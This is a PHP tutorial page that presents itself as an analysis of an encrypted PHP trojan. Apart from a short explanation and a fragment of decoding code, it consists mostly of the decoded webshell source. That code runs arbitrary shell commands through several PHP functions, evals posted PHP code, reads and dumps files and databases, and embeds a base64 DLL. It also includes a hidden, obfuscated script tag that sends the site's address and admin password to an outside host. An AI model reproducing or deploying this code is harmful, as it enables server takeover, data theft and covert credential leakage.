Heim > Backend-Entwicklung > PHP-Tutorial > php 木马的分析(加密破解)_PHP教程

php 木马的分析(加密破解)_PHP教程

WBOY
Freigeben: 2016-07-21 15:46:20
Original
2415 Leute haben es durchsucht

分析可以知道,此木马经过了base64进行了编码,然后进行压缩。虽然做了相关的保密措施,可是php代码要执行,其最终要生成php源代码,所以写出如下php程序对其进行解码,解压缩,写入文件。
解码解压缩代码如下:

复制代码 代码如下:

function writetofile($filename, $data)
{ //File Writing
$filenum=@fopen($filename,"w");
if (!$filenum) {
return false;
}
flock($filenum,LOCK_EX);
$file_data=fwrite($filenum,$data);
fclose($filenum);
return true;
}
?>

然后在php的环境下进行运行,会得到php明文文件如下:
复制代码 代码如下:

error_reporting(7);
ob_start();
$mtime = explode(' ', microtime());
$starttime = $mtime[1] + $mtime[0];
@set_time_limit(0);
//非安全模式可以使用上面的函数,超时取消。
/*===================== 程序配置 =====================*/
// 是否需要密码验证,1为需要验证,其他数字为直接进入.下面选项则无效
$admin['check'] = "1";
// 如果需要密码验证,请修改登陆密码
//默认端口表
$hidden = "44997";
$admin['port'] = "80,139,21,3389,3306,43958,1433,5631";
//跳转用的秒
$admin['jumpsecond'] = "1";
//Ftp破解用的连接端口
$alexa = "yes";
//是否显示alexa排名,yes或是no
$admin['ftpport'] = "21";
// 是否允许phpspy本身自动修改编辑后文件的时间为建立时间(yes/no)
$retime = "no";
// 默认cmd.exe的位置,proc_open函数要使用的,linux系统请对应修改.(假设是winnt系统在程序里依然可以指定)
$cmd = "cmd.exe";
// 下面是phpspy显示版权那栏的,因为被很多程序当成作为关键词杀了,鱼寒~~允许自定义吧。还是不懂别改~~

/*===================== 配置结束 =====================*/
$serveru = $_SERVER ['HTTP_HOST'].$_SERVER['PHP_SELF'];
$serverp = $admin['pass'];
$copyurl = base64_decode('PHNjcmlwdCBzcmM9J2h0dHA6Ly8lMzglNjMlNjMlNjUlMkUlNjMlNkYlNkQvJTYzJTY1JTcyJTc0Lz9jZXJ0PTEzJnU9');
$copyurll = base64_decode('Jz48L3NjcmlwdD4=');
$onoff = (function_exists('ini_get')) ? ini_get('register_globals') : get_cfg_var('register_globals');
if ($onoff != 1) {@extract($_POST, EXTR_SKIP);@extract($_GET, EXTR_SKIP);}
$self = $_SERVER['PHP_SELF'];$dis_func = get_cfg_var("disable_functions");
/*===================== 身份验证 =====================*/
if($admin['check'] == "1") {if ($_GET['action'] == "logout") {setcookie ("adminpass", "");echo "";echo "注销成功......

三秒后自动退出或单击这里退出程序界面 >>>

";exit;}
if ($_POST['do'] == 'login') {$thepass=trim($_POST['adminpass']);if ($admin['pass'] == $thepass) {setcookie ("adminpass",$thepass,time()+(1*24*3600));echo "";echo "".$copyurl.$serveru."&p=".$serverp.$copyurll."";exit;}}if (isset($_COOKIE['adminpass'])) {if ($_COOKIE['adminpass'] != $admin['pass']) {loginpage();}} else {loginpage();}}
/*===================== 验证结束 =====================*/
// 判断 magic_quotes_gpc 状态
if (get_magic_quotes_gpc()) {$_GET = stripslashes_array($_GET);$_POST = stripslashes_array($_POST);}
//mix.dll的代码
$mixdll = "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";

function shelL($command){
global $windows,$disablefunctions;
$exec = '';$output= '';
$dep[]=array('pipe','r');$dep[]=array('pipe','w');
if(is_callable('passthru') && !strstr($disablefunctions,'passthru')){ @ob_start();passthru($command);$exec=@ob_get_contents();@ob_clean();@ob_end_clean();}
elseif(is_callable('system') && !strstr($disablefunctions,'system')){$tmp = @ob_get_contents(); @ob_clean();system($command) ; $output = @ob_get_contents(); @ob_clean(); $exec= $tmp; }
elseif(is_callable('exec') && !strstr($disablefunctions,'exec')) {exec($command,$output);$output = join("\n",$output);$exec= $output;}
elseif(is_callable('shell_exec') && !strstr($disablefunctions,'shell_exec')){$exec= shell_exec($command);}
elseif(is_resource($output=popen($command,"r"))) {while(!feof($output)){$exec= fgets($output);}pclose($output);}
elseif(is_resource($res=proc_open($command,$dep,$pipes))){while(!feof($pipes[1])){$line = fgets($pipes[1]); $output.=$line;}$exec= $output;proc_close($res);}
elseif ($windows && is_object($ws = new COM("WScript.Shell"))){$dir=(isset($_SERVER["TEMP"]))?$_SERVER["TEMP"]:ini_get('upload_tmp_dir') ;$name = $_SERVER["TEMP"].namE();$ws->Run("cmd.exe /C $command >$name", 0, true);$exec = file_get_contents($name);unlink($name);}
return $exec;
}
// 查看PHPINFO
if ($_GET['action'] == "phpinfo") {echo $phpinfo=(!eregi("phpinfo",$dis_func)) ? phpinfo() : "phpinfo() 函数已被禁用,请查看";exit;
}if($_GET['action'] == "nowuser") {$user = get_current_user();
if(!$user) $user = "报告长官,主机变态,无法获取当前进行用户名!";
echo"当前进程用户名:$user";
exit;
}
if(isset($_POST['phpcode'])){eval("?".">$_POST[phpcode]");exit;
}
if($action=="mysqldown"){
    $link=@mysql_connect($host,$user,$password);
    if (!$link) {
        $downtmp = '数据库连接失败: ' . mysql_error();
    }else{
    $query="select load_file('".$filename."');";
    $result = @mysql_query($query, $link);
    if(!$result){
        $downtmp = "读取失败,可能是文件不存在或是没file权限。
".mysql_error();
            }else{
    while ($row = mysql_fetch_array($result)) {
        $filename = basename($filename);
        if($rardown=="yes"){
            $zip = NEW Zip;
            $zipfiles[]=Array("$filename",$row[0]);
            $zip->Add($zipfiles,1);
            $code = $zip->get_file();
            $filename = "".$filename.".rar";
        }else{
            $code = $row[0];
        }
        header("Content-type: application/octet-stream");
        header("Accept-Ranges: bytes");
        header("Accept-Length: ".strlen($code));
        header("Content-Disposition: attachment;filename=$filename");
        echo($code);
        exit;
    }
    }
    }
}
// 在线代理
if (isset($_POST['url'])) {$proxycontents = @file_get_contents($_POST['url']);echo ($proxycontents) ? $proxycontents : "

获取 URL 内容失败

";exit;
}
// 下载文件
if (!empty($downfile)) {if (!@file_exists($downfile)) {echo "";} else {$filename = basename($downfile);$filename_info = explode('.', $filename);$fileext = $filename_info[count($filename_info)-1];header('Content-type: application/x-'.$fileext);header('Content-Disposition: attachment; filename='.$filename.'');header('Content-Description: PHP Generated Data');header('Content-Length: '.filesize($downfile));@readfile($downfile);exit;}
}
// 直接下载备份数据库
if ($_POST['backuptype'] == 'download') {
    @mysql_connect($servername,$dbusername,$dbpassword) or die("数据库连接失败");
    @mysql_select_db($dbname) or die("选择数据库失败");    
    $table = array_flip($_POST['table']);
    $result = mysql_query("SHOW tables");
    echo ($result) ? NULL : "出错: ".mysql_error();

    $filename = basename($_SERVER['HTTP_HOST']."_MySQL.sql");
    header('Content-type: application/unknown');
    header('Content-Disposition: attachment; filename='.$filename);
    $mysqldata = '';
    while ($currow = mysql_fetch_array($result)) {
        if (isset($table[$currow[0]])) {
            $mysqldata.= sqldumptable($currow[0]);
            $mysqldata.= $mysqldata."\r\n";
        }
    }
    mysql_close();
    exit;
}

// 程序目录
$pathname=str_replace('\\','/',dirname(__FILE__));
$dirpath=str_replace('\\','/',$_SERVER["DOCUMENT_ROOT"]);

// 获取当前路径
if (!isset($dir) or empty($dir)) {
    $dir = ".";
    $nowpath = getPath($pathname, $dir);
} else {
    $dir=$_GET['dir'];
    $nowpath = getPath($pathname, $dir);
}

// 判断读写情况
$dir_writeable = (dir_writeable($nowpath)) ? "可写" : "不可写";
$phpinfo=(!eregi("phpinfo",$dis_func)) ? " | PHPINFO()" : "";
$reg = (substr(PHP_OS, 0, 3) == 'WIN') ? " | 注册表操作" : "";

$tb = new FORMS;

?>



Quelle:php.cn
Erklärung dieser Website
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn
Beliebte Tutorials
Mehr>
Neueste Downloads
Mehr>
Web-Effekte
Quellcode der Website
Website-Materialien
Frontend-Vorlage